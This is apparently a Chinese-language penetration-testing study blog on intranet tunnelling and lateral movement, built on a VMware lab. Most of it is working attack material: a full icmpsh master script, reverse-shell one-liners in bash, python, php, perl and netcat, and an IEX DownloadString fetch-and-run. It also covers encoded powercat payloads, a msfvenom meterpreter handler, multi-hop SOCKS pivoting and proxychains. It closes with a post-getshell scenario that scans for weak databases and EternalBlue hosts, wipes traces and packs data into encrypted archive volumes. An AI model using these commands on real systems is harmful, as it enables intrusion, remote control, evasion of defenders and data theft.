内网隐藏隧道通信学习
内网隐藏隧道通信学习
内网环境搭建
https://www.cnblogs.com/thebeastofwar/p/17688666.html
但是本文章讲的其实可以不用按照这个搭建域环境
基础知识
判断内网的连通性
1.ICMP协议
执行命令ping xxx
2.TCP协议
执行命令nc ip port
3.HTTP协议
执行命令curl ip:port
在内网存在代理的情况下,可能
curl -x ip:port www.baidu.com
4.DNS协议
执行命令nslookup xxx ip
执行命令dig @ip xxx
网络层隧道技术(IPV6,ICMP)
1.IPV6隧道
使用工具有socat,6tunnel,nt6tunnel等
这里使用6tunnel进行实验
下载https://github.com/wojtekka/6tunnel
执行命令
./configure
make
确认IPv6是否已启用。运行以下命令来检查:
ipconfig
使用ping来确定网卡
ping fe80::c504:416e:6509:55a7
使用命令 将远程ipv6的特定端口的流量转发到本机的特定端口
./6tunnel -4 [本机端口] [转发IPv6] [转发端口]
./6tunnel -4 81 fe80::c504:416e:6509:55a7%eth0 80
发现成功通过本机的81端口访问到远程服务器的80端口
2.ICMP隧道
icmpsh工具的使用
下载https://github.com/bdamele/icmpsh
安装impacket
pip3 install impacket -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com
将python2的icmpsh_m.py改为python3的版本
#!/usr/bin/env python3
#
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
# Perl by Nico Leidecker <nico@leidecker.info>)
#
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import select
import socket
import subprocess
import sys
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
import fcntl
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst):
if sys.platform == 'win32':
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error as e:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while 1:
cmd = ''
# Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data.decode('latin-1'))
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd.encode()))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
if __name__ == '__main__':
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])
sysctl -w net.ipv4.icmp_echo_ignore_all=1 关闭本机的icmp响应 否则会像这样
centos7 192.168/162.131 windows7 192.168.162.151
centos7执行
python3 icmpsh_m.py 192.168.162.132 192.168.162.151
windows7执行
icmpsh.exe -t 192.168.162.132
PingTunnel工具使用
下载http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz(linux libpcap)
下载https://www.onlinedown.net/soft/2685.htm(windows winpcap)
下载http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
安装libpcap
tar -zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
apt-get install -y byacc flex
./configure
make && make install
最后查看帮助信息
man pcap
安装PingTunnel
tar -zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
攻击机 ip:192.168.162.131
web机 ip:192.168.162.132
内网机 ip:192.168.162.151
web机执行
ptunnel -x password
攻击机执行
ptunnel -p 192.168.162.132 -lp 1080 -da 192.168.162.151 -dp 3389 -x password
然后攻击机访问内网机的3389端口
rdesktop 127.0.0.1:1080
传输层隧道技术(TCP,UDP,常规端口转发)
在内网渗透中,如果防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以打开指定端口
1.frp(lcx,portman也过时,自己也没利用成功)
下载https://github.com/fatedier/frp
配置服务端
上传到云服务器上,注意防火墙开放端口
执行
chmod +x frps
./frps -c frps.ini
配置客户端 转发3389和80端口的流量
frpc.exe -c frpc.ini
然后rdp连接公网ip:6001即可访问内网虚拟机的3389端口
浏览器访问公网ip:80端口即可访问web服务
2.netcat
1)简易通信
vps:
nc -lnvp 6666
本地:
nc 公网ip 6666
2)传输文件
传输文件的机器
nc -vn 公网ip 6666 < test.zip
接收文件的机器
nc -lnvp 6666 > test.zip
3)获取shell
a)正向shell
受害机
nc -lnvp 6666 -e /bin/bash //Linux
nc -lnvp 6666 -e cmd //Windows
攻击机
nc ip 6666
b)反向shell
nc -lnvp 6666
nc ip 6666 -e /bin/bash
nc ip 6666 -e cmd
4)其他反向shell
a)python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" //Linux
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['cmd','-i']);" //Windows
b)bash
bash -i >& /dev/tcp/xxx/6666 0>&1
c)php
php -r '$sock=fsockopen("xxx",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
d)perl
perl -e 'use Socket;$i="xxx";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
5)内网代理
现在有一个公网服务器 ip:xxx
一个centos服务器(相当于web端) ip:192.168.162.132
一个内网服务器 ip:192.168.162.131
其中我们已经通过公网服务器控制了centos服务器,现在想进一步控制内网服务器
公网服务器执行:
nc -lnvp 6666
内网服务器执行:
nc -lvp 6666 -e /bin/bash
centos服务器执行
nc -v 192.168.162.131 6666 -c "nc -v xxx 6666"
3.powercat
下载https://github.com/besimorhino/powercat
需要先提升权限
在管理员powershell下执行
Set-ExecutionPolicy RemoteSigned
然后运行
Import-Module .\powercat.ps1
接下来使用方法和nc相似
1)正向连接
攻击机centos7 192.168.162.131
nc -v 192.168.162.151 6666
web端的win7
powercat -l -p 6666 -e cmd.exe -v
2)反向连接
攻击机centos7 192.168.162.131
nc -lnvp 6666
web端的win7
powercat -c 192.168.162.132 -l 6666 -e cmd.exe -v
3)返回powershell
现在有一个公网服务器攻击机centos7 ip:xxx(用于远程下载)
把powercat.ps1放在公网服务器的web目录下
或者可以用python开一个临时web服务
一个win7服务器(相当于web端) ip:192.168.162.151
一个内网win7服务器 ip:192.168.162.140
内网机
powershell
Set-ExecutionPolicy RemoteSigned
IEX (New-Object Net.WebClient).DownloadString('http://ip:port/powercat.ps1')
powercat -l -p 6666 -v
web机器
powercat -c 192.168.162.140 -p 6666 -v -ep
4)传输文件
web机(有一个test.zip)
powercat -l -p 6666 -of test.zip -v
内网机
powercat -c 192.168.162.151 -p 6666 -i c:\test.zip -v
6)生成payload
正向shell
win7
powercat -l -p 6666 -e cmd.exe -v -g >> shell.ps1
powercat -c 192.168.162.140 -p -v
靶机
.\shell.ps1
反弹shell(经过编码)
win7攻击机执行,其中ip为攻击机ip(-g 生成payload -ge生成base64编码过的payload)
powercat -c 192.168.162.151 -p 6666 -ep -ge >> shell.txt
powercat -l -p 6666 -v
win7受害机执行
powershell -E (Get-Content -Path "shell.txt" | Out-String)
7)powercat的DNS隧道
下载dnscat https://github.com/iagox86/dnscat2
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
在安装了dnscat的linux主机上执行如下命令,缺啥包用gem install xxx安装一下就行了
ruby dnscat2.rb ttpowercat.test -e open --no-cache
在win7上执行
powercat -c 192.168.162.131 -p 53 -dns ttpowercat.test -e cmd.exe
然后攻击机执行
session -i 1
可能命令执行有些延迟
8)内网代理
攻击机kali ip:192.168.162.131
跳板机win7 ip:192.168.162.151
内网机win7 ip:192.168.162.140
现在内网机上执行命令
powercat -l -p 6666 -e cmd.exe -v
跳板机
powercat -l -v -p 6666 -r tcp:192.168.162.140:6666
攻击机
nc 192.168.162.151 6666 -v
另一种利用DNS隧道的方法
kali先启动
ruby dnscat2.rb ttpowercat.test -e open --no-cache
跳板机执行命令
powercat -l -p 6666 -r dns:192.168.162.131::ttpowercat.test
内网机执行
powercat -c 192.168.162.151 -p 6666 -e cmd.exe -v
然后攻击机
session -i 1
ipconfig
发现是内网机的ip(ps:有些奇怪)
最后用kill关掉
lsof -i:53
kill -9 xxx
应用层隧道
1.SSH隧道
常用参数说明
-C:压缩数据,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的SHELL
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:执行SSH端口
1)本地转发
攻击机 ip:192.168.162.131
跳板机 ip:192.168.162.132
内网机 ip:192.168.162.151
ssh -CfNg -L (本地端口):(目标主机ip):(目标主机端口) (跳板机用户名)@(跳板机ip)
ssh -CfNg -L 6666:192.168.162.151:3389 root@192.168.162.132
然后输入192.168.162.132的密码
回到攻击机执行
rdesktop 127.0.0.1:6666
2)远程转发
云服务器ip:192.168.162.131
web ip:192.168.162.132
内网机 ip:192.168.162.151
在web服务器上执行
ssh -CfNg -R (vps端口):(目标机):(目标端口) (vps用户)@(vps的ip)
ssh -CfNg -R 6666:192.168.162.151:3389 root@192.168.162.131
回到云服务器上
3)动态转发
攻击机 ip:192.168.162.131
web ip:192.168.162.132
内网机 ip:192.168.162.151
在攻击机上执行如下命令
ssh -CfNg -D 7000 root@192.168.162.132
然后打开火狐浏览器,点击右侧的三条杠 选择setting(设置)
然后搜索proxy(代理)
2.HTTP/HTTPS隧道
web ip:192.168.162.151
下载好phpstudy,配置一个php的web环境,或者jspstudy,配置jsp的web环境,这里演示的是php的web环境
下载好webshell连接工具
下载https://github.com/L-codes/Neo-reGeorg
下载Proxifier
这里初始是在web服务器上getshell了
攻击机里执行
python neoreg.py generate -k 123456
上传tunnel.php
攻击机里执行
python neoreg.py -k 123456 -u http://192.168.162.140/tunnel.php
proxifier 配置 127.0.0.1 1080 SOCKS5
点击配置文件->代理服务器
点击配置文件->代理规则
然后就可以访问内网的资源了,相当于自身处于内网当中了
3.DNS隧道(未完)
下载dnscat https://github.com/iagox86/dnscat2
SOCKS代理
1.EarthWorm
下载https://github.com/rootkiter/EarthWorm
1)正向代理
ew -s ssocksd -l 6666
此种限制目标有一个公网ip,然后使用Proxifier进行代理
2)反向代理
目标机器没有公网ip(使得可以访问内网资源)
攻击机(公网) ip:192.168.162.131
web机 ip:192.168.162.151
攻击机执行
./ew_for_linux -s rcsocks -l 1008 -e 888
web机
ew_for_win_32.exe -s rssocks -d 192.168.162.131 -e 888
然后可以使用proxychains代理1008端口进行内网漫游
3)二级网络环境
a)
本机 ip:xxx
web机 ip:192.168.162.151(有公网ip以及能够访问内网)
内网机 ip:192.168.162.140
将ew上传到内网机里,对888端口进行SOCKS代理
ew_for_win_32.exe -s ssocksd -l 888
将ew上传到web机里
ew_for_win_32.exe -s lcx_tran -l 1080 -f 192.168.162.140 -g 888
然后在本机里使用Proxifier代理192.168.162.151的1080端口实现内网漫游
b)
vps ip:192.168.162.132
个人机(肉鸡) ip:192.168.162.151(无公网ip,不能访问内网)
内网机 ip:192.168.162.140
vps中执行
./ew_for_linux -s lcx_listen -l 10800 -e 888
内网机中执行
ew_for_win_32.exe -s ssocksd -l 999
个人机中执行
ew_for_win_32.exe -s lcx_slave -d 192.168.162.132 -e 888 -f 192.168.162.151 -g 999
然后代理工具代理vps的10800端口实现内网漫游
4)三级网络环境
vps ip:192.168.162.131
A机 ip:192.168.162.132(无公网ip,但是能访问外网)
B机 ip:192.168.162.140(不能访问外网,但是能被A访问)
C机 ip:192.168.162.151(可以被B访问,可以访问核心区域)
vps上执行
./ew_for_linux -s rcsocks -l 1080 -e 888
A机执行
./ew_for_linux -s lcx_slave -d 192.168.162.131 -e 888 -f 192.168.162.140 -g 999
B机执行
ew_for_win_32.exe -s lcx_listen -l 999 -e 777
C机执行
ew_for_win_32.exe -s rssocks -d 192.168.162.140 -e 777
然后代理vps的1080端口即可在C机上架设SOCKS5代理了
2.Windows实现内网漫游
SocksCap64
Proxifier
3.Linux的ProxyChains实现内网漫游
vim /etc/proxychains4.conf
删除dynamic_chain前面的注释
配置代理服务器
使用
启动浏览器
proxychains firefox
使用其他的扫描工具
proxychains sqlmap -u xxx
4.frp实现内网漫游(实战环境)(未完)
在某一次getshell后写马,webshell管理工具上传fscan进行内网大保健
然后发现扫描的内容类似是这样的
[*] WebTitle: http://10.1.1.1 code:200 len:xxxx title:xxx
[*] WebTitle: http://10.1.1.2 code:200 len:xxx title:xxx
[*] WebTitle: http://10.1.1.3 code:301 len:xx title:xxx
[*] WebTitle: http://10.1.1.4 code:302 len:xx title:xxx
...
[+] mysql:10.1.1.5:3306:root root
...
[+] 10.1.1.6 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
等等
还有一些数据库,nday等等
现在目的是利用frp实现内网漫游
现在本地复现环境
公网vps(攻击机) ip:xxx(安装了msf)
本机(攻击机) ip:xxx
web1(已getshell) ip:192.168.162.140
web2 ip:192.168.162.151
存在数据库弱口令的服务器 ip:192.168.162.132 mysql root root(可以使用docker搭建)
存在永恒之蓝漏洞的服务器 ip:192.168.162.153 ms17-010 需要用msf来打
场景复现
在本机上发现web1服务上存在RCE漏洞,写入马,用webshell管理工具连接
ipconfig确定网段,便于后续扫描,发现ip为192.168.162.140
上传fscan,进行内网大保健(如果整个上传失败可以考虑分成几份传输https://www.cnblogs.com/thebeastofwar/p/17726898.html)
fscan.exe -h 192.168.162.0-255 >> result.txt
较为重要的扫描结果
其他web服务
数据库弱口令
永恒之蓝
发现了内网其他的web服务,内网存在数据库弱口令的服务器,存在永恒之蓝漏洞的服务器
现在目标:
访问内网的其他web服务
连接上存在弱口令的数据库
进一步控制存在永恒之蓝漏洞的服务器
现在先利用frp和Proxifier实现内网漫游,参考了https://www.cnblogs.com/hackmang/p/14516969.html
下载frp https://github.com/fatedier/frp/releases
下载proxifier https://www.proxifier.com/
将fprs和frps.ini放在公网vps里
配置frps.ini,因为是在公网vps里,所以用户名和密码要复杂些
[common]
Bind_addr = 0.0.0.0 #服务端监听地址 默认0.0.0.0
bind_port = 7000 #服务端监听端口
dashboard_port = 7500 #状态以及代理统计信息展示,vpsip:7500可查看详情
dashboard_user = admin #访问用户
dashboard_pwd = xxx # dashboard_pwd访问密码
authentication_timeout = 0 #authentication_timeout超时时间
max_pool_count = 50 #max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
allow_ports = 40000-50000 #允许代理绑定的服务端端口
然后执行
chmod +x frps
./frps -c frps.ini
然后访问vpsip:7500进行基础认证后就可以查看到面板
配置frpc.ini
[common]
server_addr = vps的ip地址 #连接服务端的地址
server_port = 7000 #连接服务端的端口
tls_enable = true #启用 TLS 协议加密连接
pool_count = 5 #连接池大小
[plugin_socks]
type = tcp
remote_port = 46075 #40000-50000任意端口
plugin = socks5
use_encryption = true
use_compression = true
ps:这个就不设置用户名和密码了,经过测试有奇奇怪怪的问题
把frpc和frpc.ini通过webshell管理工具上传到web1中(如果整个上传失败可以考虑分成几份传输https://www.cnblogs.com/thebeastofwar/p/17726898.html)
执行
frpc.exe -c frpc.ini
然后在本机里用Proxifier进行socks5代理
代理服务器
点击添加
代理规则
点击添加
动作选择刚才添加的代理服器,目标主机填写扫描的网段,这里是192.168.*.*
,如果扫描的是10.1.1.1之类的话就填10.1.*.*
等
但这样访问192.168..的服务时会发现Proxifier没有代理信息
因为web2,数据库是本机里的vmware虚拟机,本来就能在本机里访问到,所以我理解的是直接本地访问了,没有走代理
为了观测到走了socks5代理,打算在有公网ip的vps上访问没有公网ip的本机里的虚拟机服务
现在再vps里面安装proxychains,看能不能访问到本机里的虚拟机,如果能访问到,就说明内网漫游成功了
这个在实战环境中相当于外网非常难打(例如就有一个官网和vpn登录网站),但利用社工钓鱼木马控制了内网一台服务器(相当于web1)
在vps里安装proxychains
https://github.com/rofl0r/proxychains-ng
然后编译源码
./configure
make && make install
复制配置文件
cp ./src/proxychains.conf /etc/proxychains.conf
更改配置文件
vi /etc/proxychains.conf
在最后填上
socks5 代理服务器IP地址 代理服务器端口号
然后尝试访问一下web2
./proxychains4 curl http://192.168.162.151:8081
成功
然后回到服务端发现代理痕迹
之后可以使用web漏洞扫描器了
然后尝试连接一下存在弱口令的数据库
./proxychains4 mysql -h 192.168.162.131 -uroot -p
现在研究怎么才能打到内网机的永恒之蓝,因为web2,数据库弱口令都是一些协议服务
但是永恒之蓝是系统的漏洞,所以要用msf的socks5代理
centos7的vps(已经安装msf)
生成木马利用webshell管理工具放在web1中执行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx LPORT=6666 -f exe > vpsmsf.exe
然后
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost xxx
set lport 6666
run
现在已知192.168.162.153存在永恒之蓝漏洞
最后是windows的清理痕迹
先把frpc的进程给停了
然后把fscan.exe,frps.exe,frps.ini,vpsmsf.exe,xaa,xab等全删了
压缩数据
1.RAR
将WinRAR里的Rar.exe提取出来
1)以RAR格式压缩/解压
Rar.exe a -k -r -s -m3 web.rar web\
2)分卷压缩/解压
Rar.exe a -m0 -r -v1m web.rar web\
设置每个分卷为1MB
解压文件
Rar.exe x web.rar web\
2.7-Zip
1)普通压缩/解压
7z.exe a -r -p12345 web.7z web\
7z.exe x -p12345 web.7z web\
2)分卷压缩/解压
7z.exe -r -v1m -p123456 a web.7z web\
7z.exe x -p123456 web.7z web\